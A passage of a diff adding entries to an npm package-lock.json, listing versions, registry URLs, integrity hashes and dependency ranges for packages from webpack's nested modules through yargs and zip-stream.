"4.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", + "dev": true, + "dependencies": { + "ansi-regex": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/webpack/node_modules/strip-bom": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz", + "integrity": "sha1-IzTBjpx1n3vdVv3vfprj1YjmjtM=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/webpack/node_modules/supports-color": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-4.5.0.tgz", + "integrity": "sha1-vnoN5ITexcXN34s9WRJQRJEvY1s=", + "dev": true, + "dependencies": { + "has-flag": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/webpack/node_modules/tapable": { + "version": "0.2.8", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-0.2.8.tgz", + "integrity": "sha1-mTcqXJmb8t8WCvwNdL7U9HlIzSI=", + "dev": true, + "engines": { + "node": ">=0.6" + } + }, + "node_modules/webpack/node_modules/uglify-js": { + "version": "2.8.29", + "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-2.8.29.tgz", + "integrity": "sha1-KcVzMUgFe7Th913zW3qcty5qWd0=", + "dev": true, + "dependencies": { + "source-map": "~0.5.1", + "yargs": "~3.10.0" + }, + "bin": { + "uglifyjs": "bin/uglifyjs" + }, + "engines": { + "node": ">=0.8.0" + }, + "optionalDependencies": { + "uglify-to-browserify": "~1.0.0" + } + }, + "node_modules/webpack/node_modules/uglify-js/node_modules/yargs": { + "version": "3.10.0", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-3.10.0.tgz", + "integrity": "sha1-9+572FfdfB0tOMDnTvvWgdFDH9E=", + "dev": true, + "dependencies": { + "camelcase": "^1.0.2", + "cliui": "^2.1.0", + "decamelize": "^1.0.0", + "window-size": "0.1.0" + } + }, + "node_modules/webpack/node_modules/uglifyjs-webpack-plugin": { + "version": "0.4.6", + "resolved": "https://registry.npmjs.org/uglifyjs-webpack-plugin/-/uglifyjs-webpack-plugin-0.4.6.tgz", + "integrity": "sha1-uVH0q7a9YX5m9j64kUmOORdj4wk=", + "dev": true, + "hasInstallScript": true, + "dependencies": { + "source-map": "^0.5.6", + "uglify-js": "^2.8.29", + "webpack-sources": "^1.0.1" + }, + "engines": { + "node": ">=4.3.0 <5.0.0 || >=5.10" + }, + "peerDependencies": { + "webpack": "^1.9 || ^2 || ^2.1.0-beta || ^2.2.0-rc || ^3.0.0" + } + }, + "node_modules/webpack/node_modules/which-module": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz", + "integrity": "sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho=", + "dev": true + }, + "node_modules/webpack/node_modules/wordwrap": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-0.0.2.tgz", + "integrity": "sha1-t5Zpu0LstAn4PVg8rVLKF+qhZD8=", + "dev": true, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/webpack/node_modules/yargs": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-8.0.2.tgz", + "integrity": "sha1-YpmpBVsc78lp/355wdkY3Osiw2A=", + "dev": true, + "dependencies": { + "camelcase": "^4.1.0", + "cliui": "^3.2.0", + "decamelize": "^1.1.1", + "get-caller-file": "^1.0.1", + "os-locale": "^2.0.0", + "read-pkg-up": "^2.0.0", + "require-directory": "^2.1.1", + "require-main-filename": "^1.0.1", + "set-blocking": "^2.0.0", + "string-width": "^2.0.0", + "which-module": "^2.0.0", + "y18n": "^3.2.1", + "yargs-parser": "^7.0.0" + } + }, + "node_modules/webpack/node_modules/yargs-parser": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-7.0.0.tgz", + "integrity": "sha1-jQrELxbqVd69MyyvTEA4s+P139k=", + "dev": true, + "dependencies": { + "camelcase": "^4.1.0" + } + }, + "node_modules/webpack/node_modules/yargs-parser/node_modules/camelcase": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz", + "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/webpack/node_modules/yargs/node_modules/camelcase": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz", + "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/webpack/node_modules/yargs/node_modules/cliui": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz", + "integrity": "sha1-EgYBU3qRbSmUD5NNo7SNWFo5IT0=", + "dev": true, + "dependencies": { + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1", + "wrap-ansi": "^2.0.0" + } + }, + "node_modules/webpack/node_modules/yargs/node_modules/cliui/node_modules/string-width": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", + "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", + "dev": true, + "dependencies": { + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/websocket-driver": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.0.tgz", + "integrity": "sha1-DK+dLXVdk67gSdS90NP+LMoqJOs=", + "dev": true, + "dependencies": { + "http-parser-js": ">=0.4.0", + "websocket-extensions": ">=0.1.1" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/websocket-extensions": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.3.tgz", + "integrity": "sha512-nqHUnMXmBzT0w570r2JpJxfiSD1IzoI+HGVdd3aZ0yNi3ngvQ4jv1dtHt5VGxfI2yj5yqImPhOK4vmIh2xMbGg==", + "dev": true, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/whatwg-fetch": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.6.2.tgz", + "integrity": "sha512-bJlen0FcuU/0EMLrdbJ7zOnW6ITZLrZMIarMUVmdKtsGvZna8vxKYaexICWPfZ8qwf9fzNq+UEIZrnSaApt6RA==" + }, + "node_modules/whatwg-url": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz", + "integrity": "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==", + "peer": true, + "dependencies": { + "tr46": "~0.0.3", + "webidl-conversions": "^3.0.0" + } + }, + "node_modules/whatwg-url-without-unicode": { + "version": "8.0.0-1", + "resolved": "https://registry.npmjs.org/whatwg-url-without-unicode/-/whatwg-url-without-unicode-8.0.0-1.tgz", + "integrity": "sha512-0Uy8mjsG5O8Y53327XL+ZqsrMdxO1CL/6m840SmW5iyRWFvU2zlxS2RzpD3pFFVKYOKCmsKn5JKzWxQ+bImnWA==", + "dependencies": { + "webidl-conversions": "^5.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/whatwg-url/node_modules/webidl-conversions": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz", + "integrity": "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==", + "peer": true + }, + "node_modules/whet.extend": { + "version": "0.9.9", + "resolved": "https://registry.npmjs.org/whet.extend/-/whet.extend-0.9.9.tgz", + "integrity": "sha1-+HfVv2SMl+WqVC+twW1qJZucEaE=", + "dev": true, + "engines": { + "node": ">=0.6.0" + } + }, + "node_modules/which": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", + "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "which": "bin/which" + } + }, + "node_modules/which-module": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/which-module/-/which-module-1.0.0.tgz", + "integrity": "sha1-u6Y8qGGUiZT/MHc2CJ47lgJsKk8=", + "dev": true + }, + "node_modules/which-pm-runs": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/which-pm-runs/-/which-pm-runs-1.0.0.tgz", + "integrity": "sha1-Zws6+8VS4LVd9rd4DKdGFfI60cs=", + "dev": true, + "optional": true + }, + "node_modules/wide-align": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.3.tgz", + "integrity": "sha512-QGkOQc8XL6Bt5PwnsExKBPuMKBxnGxWWW3fU55Xt4feHozMUhdUMaBCk290qpm/wG5u/RSKzwdAC4i51YigihA==", + "dev": true, + "dependencies": { + "string-width": "^1.0.2 || 2" + } + }, + "node_modules/window-size": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/window-size/-/window-size-0.1.0.tgz", + "integrity": "sha1-VDjNLqk7IC76Ohn+iIeu58lPnJ0=", + "dev": true, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/with": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/with/-/with-7.0.2.tgz", + "integrity": "sha512-RNGKj82nUPg3g5ygxkQl0R937xLyho1J24ItRCBTr/m1YnZkzJy1hUiHUJrc/VlsDQzsCnInEGSg3bci0Lmd4w==", + "dev": true, + "dependencies": { + "@babel/parser": "^7.9.6", + "@babel/types": "^7.9.6", + "assert-never": "^1.2.1", + "babel-walk": "3.0.0-canary-5" + }, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/wordwrap": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-1.0.0.tgz", + "integrity": "sha1-J1hIEIkUVqQXHI0CJkQa3pDLyus=", + "dev": true + }, + "node_modules/worker-farm": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/worker-farm/-/worker-farm-1.6.0.tgz", + "integrity": "sha512-6w+3tHbM87WnSWnENBUvA2pxJPLhQUg5LKwUQHq3r+XPhIM+Gh2R5ycbwPCyuGbNg+lPgdcnQUhuC02kJCvffQ==", + "dev": true, + "dependencies": { + "errno": "~0.1.7" + } + }, + "node_modules/wp-vue-i18n": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/wp-vue-i18n/-/wp-vue-i18n-1.1.3.tgz", + "integrity": "sha512-24+ikdIPFHezwzwVHCxm685fA1gbNhIymtORVSWLSk1eWm1GQFJxm42z3hGBPwq2qQ7W2URTmN+mh3cwmA4kJA==", + "dev": true, + "dependencies": { + "bluebird": "^3.4.1", + "gettext-parser": "^1.2.0", + "glob": "^7.0.5", + "lodash": "^4.14.2", + "minimist": "^1.2.0", + "mkdirp": "^0.5.1", + "tmp": "^0.0.33" + }, + "bin": { + "wpvuei18n": "bin/wpvuei18n" + } + }, + "node_modules/wrap-ansi": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz", + "integrity": "sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=", + "dev": true, + "dependencies": { + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" + }, + "node_modules/write": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/write/-/write-0.2.1.tgz", + "integrity": "sha1-X8A4KOJkzqP+kUVUdvejxWbLB1c=", + "dev": true, + "dependencies": { + "mkdirp": "^0.5.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/write-file-atomic": { + "version": "2.4.3", + "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-2.4.3.tgz", + "integrity": "sha512-GaETH5wwsX+GcnzhPgKcKjJ6M2Cq3/iZp1WyY/X1CSqrW+jVNM9Y7D8EC2sM4ZG/V8wZlSniJnCKWPmBYAucRQ==", + "peer": true, + "dependencies": { + "graceful-fs": "^4.1.11", + "imurmurhash": "^0.1.4", + "signal-exit": "^3.0.2" + } + }, + "node_modules/ws": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ws/-/ws-6.2.2.tgz", + "integrity": "sha512-zmhltoSR8u1cnDsD43TX59mzoMZsLKqUweyYBAIvTngR3shc0W6aOZylZmq/7hqyVxPdi+5Ud2QInblgyE72fw==", + "peer": true, + "dependencies": { + "async-limiter": "~1.0.0" + } + }, + "node_modules/xml": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/xml/-/xml-1.0.1.tgz", + "integrity": "sha1-eLpyAgApxbyHuKgaPPzXS0ovweU=", + "dev": true + }, + "node_modules/xmlcreate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/xmlcreate/-/xmlcreate-1.0.2.tgz", + "integrity": "sha1-+mv3YqYKQT+z3Y9LA8WyaSONMI8=", + "dev": true + }, + "node_modules/xpath-builder": { + "version": "0.0.7", + "resolved": "https://registry.npmjs.org/xpath-builder/-/xpath-builder-0.0.7.tgz", + "integrity": "sha1-Z9a7w/ajIOwxfj5jaMVwa2ER3uw=", + "dev": true + }, + "node_modules/xtend": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.1.tgz", + "integrity": "sha1-pcbVMr5lbiPbgg77lDofBJmNY68=", + "engines": { + "node": ">=0.4" + } + }, + "node_modules/y18n": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-3.2.1.tgz", + "integrity": "sha1-bRX7qITAhnnA136I53WegR4H+kE=", + "dev": true + }, + "node_modules/yallist": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz", + "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=", + "dev": true + }, + "node_modules/yargs": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-7.1.0.tgz", + "integrity": "sha1-a6MY6xaWFyf10oT46gA+jWFU0Mg=", + "dev": true, + "dependencies": { + "camelcase": "^3.0.0", + "cliui": "^3.2.0", + "decamelize": "^1.1.1", + "get-caller-file": "^1.0.1", + "os-locale": "^1.4.0", + "read-pkg-up": "^1.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^1.0.1", + "set-blocking": "^2.0.0", + "string-width": "^1.0.2", + "which-module": "^1.0.0", + "y18n": "^3.2.1", + "yargs-parser": "^5.0.0" + } + }, + "node_modules/yargs-parser": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-5.0.0.tgz", + "integrity": "sha1-J17PDX/+Bcd+ZOfIbkzZS/DhIoo=", + "dev": true, + "dependencies": { + "camelcase": "^3.0.0" + } + }, + "node_modules/yargs-parser/node_modules/camelcase": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-3.0.0.tgz", + "integrity": "sha1-MvxLn82vhF/N9+c7uXysImHwqwo=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/yargs-unparser": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/yargs-unparser/-/yargs-unparser-1.6.0.tgz", + "integrity": "sha512-W9tKgmSn0DpSatfri0nx52Joq5hVXgeLiqR/5G0sZNDoLZFOr/xjBUDcShCOGNsBnEMNo1KAMBkTej1Hm62HTw==", + "dev": true, + "dependencies": { + "flat": "^4.1.0", + "lodash": "^4.17.15", + "yargs": "^13.3.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/yargs-unparser/node_modules/ansi-regex": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.1.tgz", + "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/yargs-unparser/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/yargs-unparser/node_modules/camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/yargs-unparser/node_modules/cliui": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz", + "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==", + "dev": true, + "dependencies": { + "string-width": "^3.1.0", + "strip-ansi": "^5.2.0", + "wrap-ansi": "^5.1.0" + } + }, + "node_modules/yargs-unparser/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/yargs-unparser/node_modules/emoji-regex": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz", + "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==", + "dev": true + }, + "node_modules/yargs-unparser/node_modules/find-up": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "dev": true, + "dependencies": { + "locate-path": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/yargs-unparser/node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true, + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/yargs-unparser/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/yargs-unparser/node_modules/locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "dev": true, + "dependencies": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/yargs-unparser/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/yargs-unparser/node_modules/p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "dev": true, + "dependencies": { + "p-limit": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/yargs-unparser/node_modules/p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/yargs-unparser/node_modules/path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/yargs-unparser/node_modules/require-main-filename": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz", + "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==", + "dev": true + }, + "node_modules/yargs-unparser/node_modules/string-width": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", + "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", + "dev": true, + "dependencies": { + "emoji-regex": "^7.0.1", + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^5.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/yargs-unparser/node_modules/strip-ansi": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", + "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "dev": true, + "dependencies": { + "ansi-regex": "^4.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/yargs-unparser/node_modules/which-module": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz", + "integrity": "sha512-B+enWhmw6cjfVC7kS8Pj9pCrKSc5txArRyaYGe088shv/FGWH+0Rjx/xPgtsWfsUtS27FkP697E4DDhgrgoc0Q==", + "dev": true + }, + "node_modules/yargs-unparser/node_modules/wrap-ansi": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz", + "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.0", + "string-width": "^3.0.0", + "strip-ansi": "^5.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/yargs-unparser/node_modules/y18n": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz", + "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==", + "dev": true + }, + "node_modules/yargs-unparser/node_modules/yargs": { + "version": "13.3.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.3.2.tgz", + "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==", + "dev": true, + "dependencies": { + "cliui": "^5.0.0", + "find-up": "^3.0.0", + "get-caller-file": "^2.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^2.0.0", + "set-blocking": "^2.0.0", + "string-width": "^3.0.0", + "which-module": "^2.0.0", + "y18n": "^4.0.0", + "yargs-parser": "^13.1.2" + } + }, + "node_modules/yargs-unparser/node_modules/yargs-parser": { + "version": "13.1.2", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.2.tgz", + "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==", + "dev": true, + "dependencies": { + "camelcase": "^5.0.0", + "decamelize": "^1.2.0" + } + }, + "node_modules/yargs/node_modules/camelcase": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-3.0.0.tgz", + "integrity": "sha1-MvxLn82vhF/N9+c7uXysImHwqwo=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "peer": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/zip-stream": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/zip-stream/-/zip-stream-2.1.3.tgz", + "integrity": "sha512-EkXc2JGcKhO5N5aZ7TmuNo45budRaFGHOmz24wtJR7znbNqDPmdZtUauKX6et8KAVseAMBOyWJqEpXcHTBsh7Q==", + "dev": true, + "dependencies": { + "archiver-utils": "^2.1.0", + "compress-commons": "^2.1.1", + "readable-stream": "^3.4.0" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/zip-stream/node_modules/archiver-utils": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/archiver-utils/-/archiver-utils-2.1.0.tgz", + "integrity": "sha512-bEL/yUb/fNNiNTuUz979Z0Yg5L+LzLxGJz8x79lYmR54fmTIb6ob/hNQgkQnIUDWIFjZVQwl9Xs356I6BAMHfw==", + "dev": true, + "dependencies": { + "glob": "^7.1.4", + "graceful-fs": "^4.2.0", + "lazystream": "^1.0.0", + "lodash.defaults": "^4.2.0", + "lodash.difference": "^4.5.0", + "lodash.flatten": "^4.4.0", + "lodash.isplainobject": "^4.0.6", + "lodash.union": "^4.6.0", + "normalize-path": "^3.0.0", + "readable-stream": "^2.0.0" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/zip-stream/node_modules/archiver-utils/node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dev": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/zip-stream/node_modules/archiver-utils/node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/zip-stream/node_modules/compress-commons": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/compress-commons/-/compress-commons-2.1.1.tgz", + "integrity": "sha512-eVw6n7CnEMFzc3duyFVrQEuY1BlHR3rYsSztyG32ibGMW722i3C6IizEGMFmfMU+A+fALvBIwxN3czffTcdA+Q==", + "dev": true, + "dependencies": { + "buffer-crc32": "^0.2.13", + "crc32-stream": "^3.0.1", + "normalize-path": "^3.0.0", + "readable-stream": "^2.3.6" + 